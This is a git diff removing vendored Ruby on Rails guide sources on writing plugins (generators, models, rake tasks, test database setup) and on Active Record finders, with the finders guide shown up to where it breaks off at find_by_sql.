-    def yaffle_local_assigns
-      returning(assigns = {}) do
-        assigns[:migration_action] = "add"
-        assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}"
-        assigns[:table_name] = custom_file_name
-        assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")]
-      end
-    end
-end
-------------------------------------------------------------------
-
-The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement.  It reuses the built in rails `migration_template` method, and reuses the built-in rails migration template.
-
-It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names.  This way people using your generator won't have to manually change the generated files if they've turned pluralization off.
-
-=== Manually test the generator ===
-
-To run the generator, type the following at the command line:
-
-------------------------------------------------------------------
-./script/generate yaffle bird
-------------------------------------------------------------------
-
-and you will see a new file:
-
-*db/migrate/20080529225649_add_yaffle_fields_to_birds.rb*
-
-[source, ruby]
-------------------------------------------------------------------
-class AddYaffleFieldsToBirds < ActiveRecord::Migration
-  def self.up
-    add_column :birds, :last_squawk, :string
-  end
-
-  def self.down
-    remove_column :birds, :last_squawk
-  end
-end
-------------------------------------------------------------------
-
-
-=== The USAGE file ===
-
-Rails ships with several built-in generators.  You can see all of the generators available to you by typing the following at the command line:
-
-------------------------------------------------------------------
-script/generate
-------------------------------------------------------------------
-
-You should see something like this:
-
-------------------------------------------------------------------
-Installed Generators
-  Plugins (vendor/plugins): yaffle
-  Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration
-------------------------------------------------------------------
-
-When you run `script/generate yaffle` you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle/USAGE' file.  
-
-For this plugin, update the USAGE file looks like this:
-
-------------------------------------------------------------------
-Description:
-    Creates a migration that adds yaffle squawk fields to the given model
-
-Example:
-    ./script/generate yaffle hickwall
-
-    This will create:
-        db/migrate/TIMESTAMP_add_yaffle_fields_to_hickwall
-------------------------------------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt
deleted file mode 100644
index 458edec8..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt
+++ /dev/null
@@ -1,76 +0,0 @@
-== Add a model ==
-
-This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app.  When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories.  For this example, create a file structure like this:
-
----------------------------------------------------------
-vendor/plugins/yaffle/
-|-- lib
-|   |-- app
-|   |   |-- controllers
-|   |   |-- helpers
-|   |   |-- models
-|   |   |   `-- woodpecker.rb
-|   |   `-- views
-|   |-- yaffle
-|   |   |-- acts_as_yaffle.rb
-|   |   |-- commands.rb
-|   |   `-- core_ext.rb
-|   `-- yaffle.rb
----------------------------------------------------------
-
-As always, start with a test:
-
-*vendor/plugins/yaffle/yaffle/woodpecker_test.rb:*
-
-[source, ruby]
-----------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class WoodpeckerTest < Test::Unit::TestCase
-  load_schema
-
-  def test_woodpecker
-    assert_kind_of Woodpecker, Woodpecker.new
-  end
-end
-----------------------------------------------
-
-This is just a simple test to make sure the class is being loaded correctly.  After watching it fail with `rake`, you can make it pass like so:
-
-*vendor/plugins/yaffle/lib/yaffle.rb:*
-
-[source, ruby]
-----------------------------------------------
-%w{ models }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-----------------------------------------------
-
-Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser.  Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server.  This is particularly useful as you develop the plugin.
-
-
-*vendor/plugins/yaffle/lib/app/models/woodpecker.rb:*
-
-[source, ruby]
-----------------------------------------------
-class Woodpecker < ActiveRecord::Base
-end
-----------------------------------------------
-
-Finally, add the following to your plugin's 'schema.rb':
-
-*vendor/plugins/yaffle/test/schema.rb:*
-
-[source, ruby]
-----------------------------------------------
-ActiveRecord::Schema.define(:version => 0) do
-  create_table :woodpeckers, :force => true do |t|
-    t.string :name
-  end
-end
-----------------------------------------------
-
-Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.
\ No newline at end of file
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt
deleted file mode 100644
index e328c04a..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt
+++ /dev/null
@@ -1,69 +0,0 @@
-== Odds and ends ==
-
-=== Generate RDoc Documentation ===
-
-Once your plugin is stable, the tests pass on all database and you are ready to deploy do everyone else a favor and document it!  Luckily, writing documentation for your plugin is easy.
-
-The first step is to update the README file with detailed information about how to use your plugin.  A few key things to include are:
-
- * Your name.
- * How to install.
- * How to add the functionality to the app (several examples of common use cases).
- * Warning, gotchas or tips that might help save users time.
-
-Once your README is solid, go through and add rdoc comments to all of the methods that developers will use.
-
-Before you generate your documentation, be sure to go through and add nodoc comments to those modules and methods that are not important to your users.
-
-Once your comments are good to go, navigate to your plugin directory and run:
-
-    rake rdoc
-
-=== Write custom Rake tasks in your plugin ===
-
-When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle.rake'.  Any rake task you add here will be available to the app.
-
-Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:
-
-*vendor/plugins/yaffle/tasks/yaffle.rake*
-
-[source, ruby]
----------------------------------------------------------
-namespace :yaffle do
-  desc "Prints out the word 'Yaffle'"
-  task :squawk => :environment do
-    puts "squawk!"
-  end
-end
----------------------------------------------------------
-
-When you run `rake -T` from your plugin you will see:
-
----------------------------------------------------------
-yaffle:squawk             # Prints out the word 'Yaffle'
----------------------------------------------------------
-
-You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.
-
-=== Store plugins in alternate locations ===
-
-You can store plugins wherever you want - you just have to add those plugins to the plugins path in 'environment.rb'.
-
-Since the plugin is only loaded after the plugin paths are defined, you can't redefine this in your plugins - but it may be good to now.
-
-You can even store plugins inside of other plugins for complete plugin madness!
-
-[source, ruby]
----------------------------------------------------------
-config.plugin_paths << File.join(RAILS_ROOT,"vendor","plugins","yaffle","lib","plugins")
----------------------------------------------------------
-
-=== Create your own Plugin Loaders and Plugin Locators ===
-
-If the built-in plugin behavior is inadequate, you can change almost every aspect of the location and loading process.  You can write your own plugin locators and plugin loaders, but that's beyond the scope of this tutorial.
-
-
-=== Use Custom Plugin Generators ===
-
-If you are an RSpec fan, you can install the `rspec_plugin_generator` gem, which will generate the spec folder and database for you. See http://github.com/pat-maddox/rspec-plugin-generator/tree/master.
-
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt
deleted file mode 100644
index 64236ff1..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt
+++ /dev/null
@@ -1,230 +0,0 @@
-== Preparation ==
-
-=== Create the basic app ===
-
-The examples in this guide require that you have a working rails application.  To create a simple rails app execute:
-
-------------------------------------------------
-gem install rails
-rails yaffle_guide
-cd yaffle_guide
-script/generate scaffold bird name:string
-rake db:migrate
-script/server
-------------------------------------------------
-
-Then navigate to http://localhost:3000/birds.  Make sure you have a functioning rails app before continuing.
-
-.Editor's note:
-NOTE: The aforementioned instructions will work for sqlite3.  For more detailed instructions on how to create a rails app for other databases see the API docs.
-
-
-=== Generate the plugin skeleton ===
-
-Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass `\--with-generator` to add an example generator also.
-
-This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories.
-
-Examples:
-----------------------------------------------
-./script/generate plugin yaffle
-./script/generate plugin yaffle --with-generator
-----------------------------------------------
-
-To get more detailed help on the plugin generator, type `./script/generate plugin`.
-
-Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the `\--with-generator` option now:
-
-----------------------------------------------
-./script/generate plugin yaffle --with-generator
-----------------------------------------------
-
-You should see the following output:
-
-----------------------------------------------
-create  vendor/plugins/yaffle/lib
-create  vendor/plugins/yaffle/tasks
-create  vendor/plugins/yaffle/test
-create  vendor/plugins/yaffle/README
-create  vendor/plugins/yaffle/MIT-LICENSE
-create  vendor/plugins/yaffle/Rakefile
-create  vendor/plugins/yaffle/init.rb
-create  vendor/plugins/yaffle/install.rb
-create  vendor/plugins/yaffle/uninstall.rb
-create  vendor/plugins/yaffle/lib/yaffle.rb
-create  vendor/plugins/yaffle/tasks/yaffle_tasks.rake
-create  vendor/plugins/yaffle/test/core_ext_test.rb
-create  vendor/plugins/yaffle/generators
-create  vendor/plugins/yaffle/generators/yaffle
-create  vendor/plugins/yaffle/generators/yaffle/templates
-create  vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
-create  vendor/plugins/yaffle/generators/yaffle/USAGE
-----------------------------------------------
-
-To begin just change one thing - move 'init.rb' to 'rails/init.rb'.
-
-=== Setup the plugin for testing ===
-
-If your plugin interacts with a database, you'll need to setup a database connection.  In this guide you will learn how to test your plugin against multiple different database adapters using Active Record.  This guide will not cover how to use fixtures in plugin tests.
-
-To setup your plugin to allow for easy testing you'll need to add 3 files:
-
- * A 'database.yml' file with all of your connection strings
- * A 'schema.rb' file with your table definitions
- * A test helper method that sets up the database
-
-*vendor/plugins/yaffle/test/database.yml:*
-
-----------------------------------------------
-sqlite:
-  :adapter: sqlite
-  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
-
-sqlite3:
-  :adapter: sqlite3
-  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
-
-postgresql:
-  :adapter: postgresql
-  :username: postgres
-  :password: postgres
-  :database: yaffle_plugin_test
-  :min_messages: ERROR
-
-mysql:
-  :adapter: mysql
-  :host: localhost
-  :username: root
-  :password: password
-  :database: yaffle_plugin_test
-----------------------------------------------
-
-For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:
-
-*vendor/plugins/yaffle/test/schema.rb:*
-
-[source, ruby]
-----------------------------------------------
-ActiveRecord::Schema.define(:version => 0) do
-  create_table :hickwalls, :force => true do |t|
-    t.string :name
-    t.string :last_squawk
-    t.datetime :last_squawked_at
-  end
-  create_table :wickwalls, :force => true do |t|
-    t.string :name
-    t.string :last_tweet
-    t.datetime :last_tweeted_at
-  end
-  create_table :woodpeckers, :force => true do |t|
-    t.string :name
-  end
-end
-----------------------------------------------
-
-*vendor/plugins/yaffle/test/test_helper.rb:*
-
-[source, ruby]
-----------------------------------------------
-ENV['RAILS_ENV'] = 'test'
-ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
-
-require 'test/unit'
-require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
-
-def load_schema
-  config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
-  ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
-
-  db_adapter = ENV['DB']
-
-  # no db passed, try one of these fine config-free DBs before bombing.
-  db_adapter ||=
-    begin
-      require 'rubygems'
-      require 'sqlite'
-      'sqlite'
-    rescue MissingSourceFile
-      begin
-        require 'sqlite3'
-        'sqlite3'
-      rescue MissingSourceFile
-      end
-    end
-
-  if db_adapter.nil?
-    raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
-  end
-
-  ActiveRecord::Base.establish_connection(config[db_adapter])
-  load(File.dirname(__FILE__) + "/schema.rb")
-  require File.dirname(__FILE__) + '/../rails/init.rb'
-end
-----------------------------------------------
-
-Now whenever you write a test that requires the database, you can call 'load_schema'.
-
-=== Run the plugin tests ===
-
-Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct.  By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test.  Replace the contents of that file with:
-
-*vendor/plugins/yaffle/test/yaffle_test.rb:*
-
-[source, ruby]
-----------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class YaffleTest < Test::Unit::TestCase
-  load_schema
-  
-  class Hickwall < ActiveRecord::Base
-  end
-
-  class Wickwall < ActiveRecord::Base
-  end
-  
-  def test_schema_has_loaded_correctly
-    assert_equal [], Hickwall.all
-    assert_equal [], Wickwall.all
-  end
-  
-end
-----------------------------------------------
-
-To run this, go to the plugin directory and run `rake`:
-
-----------------------------------------------
-cd vendor/plugins/yaffle
-rake
-----------------------------------------------
-
-You should see output like:
-
-----------------------------------------------
-/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb" 
--- create_table(:hickwalls, {:force=>true})
-   -> 0.0220s
--- create_table(:wickwalls, {:force=>true})
-   -> 0.0077s
--- initialize_schema_migrations_table()
-   -> 0.0007s
--- assume_migrated_upto_version(0)
-   -> 0.0007s
-Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
-Started
-.
-Finished in 0.002236 seconds.
-
-1 test, 1 assertion, 0 failures, 0 errors
-----------------------------------------------
-
-By default the setup above runs your tests with sqlite or sqlite3.  To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:
-
-----------------------------------------------
-rake DB=sqlite
-rake DB=sqlite3
-rake DB=mysql
-rake DB=postgresql
-----------------------------------------------
-
-Now you are ready to test-drive your plugin!
diff --git a/vendor/rails/railties/doc/guides/source/finders.txt b/vendor/rails/railties/doc/guides/source/finders.txt
deleted file mode 100644
index e5d94cff..00000000
--- a/vendor/rails/railties/doc/guides/source/finders.txt
+++ /dev/null
@@ -1,668 +0,0 @@
-Rails Finders
-=============
-
-This guide covers the +find+ method defined in +ActiveRecord::Base+, as well as other ways of finding particular instances of your models. By using this guide, you will be able to:
-
-* Find records using a variety of methods and conditions
-* Specify the order, retrieved attributes, grouping, and other properties of the found records
-* Use eager loading to cut down on the number of database queries in your application
-* Use dynamic finders
-* Create named scopes to add custom finding behavior to your models
-* Check for the existence of particular records
-* Perform aggregate calculations on Active Record models
-
-If you're used to using raw SQL to find database records, you'll find that there are generally better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
-
-== The Sample Models
-
-This guide demonstrates finding using the following models:
-
-[source,ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
-  has_one :address
-  has_one :mailing_address
-  has_many :orders
-  has_and_belongs_to_many :roles
-end  
-
-class Address < ActiveRecord::Base
-  belongs_to :client
-end
-
-class MailingAddress < Address
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :client, :counter_cache => true
-end
-
-class Role < ActiveRecord::Base
-  has_and_belongs_to_many :clients
-end
--------------------------------------------------------
-
-== Database Agnostic
-
-Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same. 
-
-== IDs, First, Last and All
-
-+ActiveRecord::Base+ has methods defined on it to make interacting with your database and the tables within it much, much easier. For finding records, the key method is +find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type +Client.find(1)+ which would execute this query on your database:
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM +clients+ WHERE (+clients+.+id+ = 1) 
--------------------------------------------------------
-
-NOTE: Because this is a standard table created from a migration in Rail, the primary key is defaulted to 'id'. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.
-
-If you wanted to find clients with id 1 or 2, you call +Client.find([1,2])+ or +Client.find(1,2)+ and then this will be executed as:
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM +clients+ WHERE (+clients+.+id+ IN (1,2)) 
--------------------------------------------------------
-
--------------------------------------------------------
->> Client.find(1,2)
-=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2, 
-  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, 
-  #<Client id: 2, name: => "Michael", locked: false, orders_count: 3, 
-  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
--------------------------------------------------------
-
-Note that if you pass in a list of numbers that the result will be returned as an array, not as a single +Client+ object.
-
-NOTE: If +find(id)+ or +find([id1, id2])+ fails to find any records, it will raise a +RecordNotFound+ exception.
-
-If you wanted to find the first client you would simply type +Client.first+ and that would find the first client created in your clients table:
-
--------------------------------------------------------
->> Client.first
-=> #<Client id: 1, name: => "Ryan", locked: false, orders_count: 2, 
-  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">
--------------------------------------------------------
-
-If you were running script/server you might see the following output:
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM clients LIMIT 1
--------------------------------------------------------
-
-Indicating the query that Rails has performed on your database. 
-
-To find the last client you would simply type +Client.find(:last)+ and that would find the last client created in your clients table:
-
--------------------------------------------------------
->> Client.find(:last)
-=> #<Client id: 2, name: => "Michael", locked: false, orders_count: 3, 
-  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">
--------------------------------------------------------
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
--------------------------------------------------------
-
-To find all the clients you would simply type +Client.all+ and that would find all the clients in your clients table:
-
--------------------------------------------------------
->> Client.all
-=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2, 
-  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, 
-  #<Client id: 2, name: => "Michael", locked: false, orders_count: 3, 
-  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
--------------------------------------------------------
-
-As alternatives to calling +Client.first+, +Client.last+, and +Client.all+, you can use the class methods +Client.first+, +Client.last+, and +Client.all+ instead. +Client.first+, +Client.last+ and +Client.all+ just call their longer counterparts: +Client.find(:first)+, +Client.find(:last)+ and +Client.find(:all)+ respectively.
-
-Be aware that +Client.first+/+Client.find(:first)+ and +Client.last+/+Client.find(:last)+ will both return a single object, where as +Client.all+/+Client.find(:all)+ will return an array of Client objects, just as passing in an array of ids to find will do also.
-
-== Conditions
-
-The +find+ method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.
-
-=== Pure String Conditions ===
-
-If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
-
-WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
-
-=== Array Conditions ===
-
-Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like +Client.first(:conditions => ["orders_count = ?", params[:orders]])+. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like +Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])+. In this example, the first question mark will be replaced with the value in params orders and the second will be replaced with true and this will find the first record in the table that has '2' as its value for the orders_count field and 'false' for its locked field.
-
-The reason for doing code like:
-
-[source, ruby]
--------------------------------------------------------
-+Client.first(:conditions => ["orders_count = ?", params[:orders]])+
--------------------------------------------------------
-
-instead of:
-
--------------------------------------------------------
-+Client.first(:conditions => "orders_count = #{params[:orders]}")+
--------------------------------------------------------
-
-is because of parameter safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string.
-
-TIP: For more information on the dangers of SQL injection, see the link:../security.html#_sql_injection[Ruby on Rails Security Guide].
-
-If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions => ["created_at IN (?)",
-  (params[:start_date].to_date)..(params[:end_date].to_date)])
--------------------------------------------------------
-
-This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM +users+ WHERE (created_at IN 
-  ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
-  '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
-  '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
-  '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
-  ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
-  '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
-  '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31')) 
--------------------------------------------------------
-
-Things can get *really* messy if you pass in time objects as it will attempt to compare your field to *every second* in that range:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions => ["created_at IN (?)", 
-  (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
--------------------------------------------------------
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM +users+ WHERE (created_at IN 
-  ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ... 
-  '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
--------------------------------------------------------
-
-This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:
-
--------------------------------------------------------
-Got a packet bigger than 'max_allowed_packet' bytes: _query_
--------------------------------------------------------
-
-Where _query_ is the actual query used to get that error.
-
-In this example it would be better to use greater-than and less-than operators in SQL, like so:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions => 
-  ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
--------------------------------------------------------
-
-You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions => 
-  ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
--------------------------------------------------------
-
-Just like in Ruby.
-
-=== Hash Conditions ===
-
-Similar to the array style of params you can also specify keys in your conditions:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions => 
-  ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
--------------------------------------------------------
-
-This makes for clearer readability if you have a large number of variable conditions.
-
-== Ordering
-
-If you're getting a set of records and want to force an order, you can use +Client.all(:order => "created_at")+ which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using +Client.all(:order => "created_at desc")+
-
-== Selecting Certain Fields
-
-To select certain fields, you can use the select option like this: +Client.first(:select => "viewable_by, locked")+. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute +SELECT viewable_by, locked FROM clients LIMIT 0,1+ on your database. 
-
-== Limit & Offset
-
-If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:limit => 5)
--------------------------------------------------------
-
-This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM clients LIMIT 5
--------------------------------------------------------
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:limit => 5, :offset => 5)
--------------------------------------------------------
-
-This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM clients LIMIT 5, 5
--------------------------------------------------------
-
-== Group
-
-The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:
-
-[source, ruby]
--------------------------------------------------------
-Order.all(:group => "date(created_at)", :order => "created_at")
--------------------------------------------------------
-
-And this will give you a single +Order+ object for each date where there are orders in the database. 
-
-The SQL that would be executed would be something like this:
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM +orders+ GROUP BY date(created_at)
--------------------------------------------------------
-
-== Read Only
-
-Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an +Active Record::ReadOnlyRecord+ exception. To set this option, specify it like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.first(:readonly => true)
--------------------------------------------------------
-
-If you assign this record to a variable +client+, calling the following code will raise an +ActiveRecord::ReadOnlyRecord+ exception:
-
-[source, ruby]
--------------------------------------------------------
-client = Client.first(:readonly => true)
-client.locked = false
-client.save
--------------------------------------------------------
-
-== Lock
-
-If you're wanting to stop race conditions for a specific record (for example, you're incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.
-
-[source, ruby]
--------------------------------------------------------
-Topic.transaction do
-  t = Topic.find(params[:id], :lock => true)
-  t.increment!(:views)
-end
--------------------------------------------------------
-
-== Making It All Work Together
-
-You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find statement Active Record will use the latter.
-
-== Eager Loading
-
-Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use +Client.all(:include => :address)+. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include => [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:
-
-[source, sql]
--------------------------------------------------------
-Client Load (0.000383)   SELECT * FROM clients 
-Address Load (0.119770)   SELECT addresses.* FROM addresses 
-  WHERE (addresses.client_id IN (13,14)) 
-MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM 
-  mailing_addresses WHERE (mailing_addresses.client_id IN (13,14))
--------------------------------------------------------
-
-The numbers +13+ and +14+ in the above SQL are the ids of the clients gathered from the +Client.all+ query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called +address+ or +mailing_address+ on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once.
-
-If you wanted to get all the addresses for a client in the same query you would do +Client.all(:joins => :address)+ and you wanted to find the address and mailing address for that client you would do +Client.all(:joins => [:address, :mailing_address])+. This is more efficient because it does all the SQL in one query, as shown by this example:
-
-[source, sql]
--------------------------------------------------------
-+Client Load (0.000455)   SELECT clients.* FROM clients INNER JOIN addresses 
-  ON addresses.client_id = client.id INNER JOIN mailing_addresses ON 
-  mailing_addresses.client_id = client.id
--------------------------------------------------------
-
-This query is more efficent, but there's a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:joins => “LEFT OUTER JOIN addresses ON
-  client.id = addresses.client_id LEFT OUTER JOIN mailing_addresses ON
-  client.id = mailing_addresses.client_id”)
--------------------------------------------------------
-
-When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:
-
-[source, ruby]
--------------------------------------------------------
-Client.first(:include => "orders", :conditions => 
-  ["orders.created_at >= ? AND orders.created_at <= ?", Time.now - 2.weeks, Time.now])
--------------------------------------------------------
-
-== Dynamic finders
-
-For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the client model, you also get +find_by_locked+ and +find_all_by_locked+. If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked('Ryan', true)+. These finders are an excellent alternative to using the conditions option, mainly because it's shorter to type +find_by_name(params[:name])+ than it is to type +first(:conditions => ["name = ?", params[:name]])+. 
-
-There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name('Ryan')+:
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM +clients+ WHERE (+clients+.+name+ = 'Ryan') LIMIT 1
-BEGIN
-INSERT INTO +clients+ (+name+, +updated_at+, +created_at+, +orders_count+, +locked+) 
-  VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', '0', '0')
-COMMIT
--------------------------------------------------------
-
-+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will call +new+ with the parameters you passed in. For example:
-
-[source, ruby]
--------------------------------------------------------
-client = Client.find_or_initialize_by_name('Ryan')
--------------------------------------------------------
-
-will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it.
-
-== Finding By SQL
-
-If you'd like to use your own SQL to find records a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query:
-
-[source, ruby]
--------------------------------------------------------
